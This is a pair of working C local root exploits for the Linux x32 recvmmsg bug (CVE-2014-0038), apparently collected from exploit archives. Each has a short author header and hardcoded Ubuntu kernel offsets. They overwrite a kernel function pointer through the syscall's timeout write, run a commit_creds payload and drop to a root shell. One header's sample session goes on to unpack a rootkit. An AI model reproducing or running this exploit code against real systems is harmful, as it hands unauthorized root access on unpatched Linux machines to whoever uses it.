CVE-2014-0038

/* 
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
  
takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.
  
some things you could do while waiting:
  * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
  * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  * brew some coffee
  * stare at the countdown giggly with anticipation
  
could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.
  
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
  
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..
  
same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y
  
user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.     
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..
  
:)=
  
greets to my homeboys kaliman, beist, capsl & all of #social
  
Sat Feb  1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
  
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
  
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
  
int port;
  
struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};
  
struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};
  
void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;
  
    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }
  
        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }
  
}
  
void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);
  
    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }
  
    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
  
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
  
void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}
  
int main(void)
{
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;
  
    uname(&u);
  
    for(i=0;offsets[i].kernel_version != NULL;i++) {
        if(!strcmp(offsets[i].kernel_version,u.release)) {
            off = &offsets[i];
            break;
        }
    }
  
    if(!off) {
        fprintf(stderr,"no offsets for this kernel version..\n");
        exit(-1);
    }
  
    mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;
  
        srand(time(NULL));
    port = (rand() % 30000)+1500;
  
    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
  
    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  
    if(mmapped == -1) {
        perror("mmap()");
        exit(-1);
    }
  
    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
  
    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
  
    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
        perror("mprotect()");
        exit(-1);
    }
      
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(-1);
    }
  
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);
  
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(-1);
    }
  
    memset(msgs, 0, sizeof(msgs));
  
    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;
  
    for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }
  
    close(sockfd); 
  
    fprintf(stderr,"\n");
  
    trigger();
}
/*
 * Local root exploit for CVE-2014-0038.
 *
 * https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
 *
 * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
 * passed from userspace.
 *
 * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
 * if the original byte at that address is known it can be overwritten
 * with known data.
 * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
 *
 * Restrictions: The first long at the passed address (tv_sec) has to be positive
 * and the second long (tv_nsec) has to be smaller than 1000000000.
 *
 * Overview: Target the release function pointer of the ptmx_fops structure located in
 * non initialized (and thus writable) kernel memory. Zero out the three most
 * significant bytes and thus turn it into a pointer to an address mappable in
 * user space.
 * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
 * is valid).
 * Open /dev/ptmx, close it and enjoy.
 *
 * Not very beautiful but should be fairly reliable if symbols can be resolved.
 *
 * Tested on Ubuntu 13.10
 *
 * gcc timeoutpwn.c -o pwn && ./pwn
 *
 * Written by saelo
 */
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
  
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
  
#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8
  
/*
 * Adapt these addresses for your need.
 * see /boot/System.map* or /proc/kallsyms
 * These are the offsets from ubuntu 3.11.0-12-generic.
 */
#define PTMX_FOPS           0xffffffff81fb30c0LL
#define TTY_RELEASE         0xffffffff8142fec0LL
#define COMMIT_CREDS        0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  
/*
 * Match signature of int release(struct inode*, struct file*).
 *
 * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
 */
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
  
    *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;    // restore pointer
    commit_creds(prepare_kernel_cred(0));
  
    return -1;
}
  
/*
 * Write a zero to the byte at then given address.
 * Only works if the current value is 0xff.
 */
void zero_out(long addr)
{
    int sockfd, retval, port, pid, i;
    struct sockaddr_in sa;
    char buf[BUFSIZE];
    struct mmsghdr msgs;
    struct iovec iovecs;
  
    srand(time(NULL));
  
    port = 1024 + (rand() % (0x10000 - 1024));
  
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }
  
    sa.sin_family      = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port        = htons(port);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }
  
    memset(&msgs, 0, sizeof(msgs));
    iovecs.iov_base         = buf;
    iovecs.iov_len          = BUFSIZE;
    msgs.msg_hdr.msg_iov    = &iovecs;
    msgs.msg_hdr.msg_iovlen = 1;
  
    /*
     * start a seperate process to send a udp message after 255 seconds so the syscall returns,
     * but not after updating the timout struct and writing the remaining time into it.
     * 0xff - 255 seconds = 0x00
     */
    printf("clearing byte at 0x%lx\n", addr);
    pid = fork();
    if (pid == 0) {
        memset(buf, 0x41, BUFSIZE);
  
        if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
            perror("socket()");
            exit(EXIT_FAILURE);
        }
  
        sa.sin_family      = AF_INET;
        sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        sa.sin_port        = htons(port);
  
        printf("waiting 255 seconds...\n");
        for (i = 0; i < 255; i++) {
        if (i % 10 == 0)
                printf("%is/255s\n", i);
        sleep(1);
        }
  
        printf("waking up parent...\n");
        sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
        exit(EXIT_SUCCESS);
    } else if (pid > 0) {
        retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
        if (retval == -1) {
            printf("address can't be written to, not a valid timespec struct\n");
            exit(EXIT_FAILURE);
        }
        waitpid(pid, 0, 0);
        printf("byte zeroed out\n");
    } else {
      perror("fork()");
      exit(EXIT_FAILURE);
    }
}
  
int main(int argc, char** argv)
{
    long code, target;
    int pwn;
  
    /* Prepare payload... */
    printf("preparing payload buffer...\n");
    code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
    memset((void*)code, 0x90, PAYLOADSIZE);
    code += PAYLOADSIZE - 1024;
    memcpy((void*)code, &kernel_payload, 1024);
  
    /*
     * Now clear the three most significant bytes of the fops pointer
     * to the release function.
     * This will make it point into the memory region mapped above.
     */
    printf("changing kernel pointer to point into controlled buffer...\n");
    target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
    zero_out(target + 7);
    zero_out(target + 6);
    zero_out(target + 5);
  
    /* ... and trigger. */
    printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
    pwn = open("/dev/ptmx", 'r');
    close(pwn);
  
    if (getuid() != 0) {
        printf("failed to get root :(\n");
        exit(EXIT_FAILURE);
    }
  
    printf("got root, enjoy :)\n");
    return execl("/bin/bash", "-sh", NULL);
}

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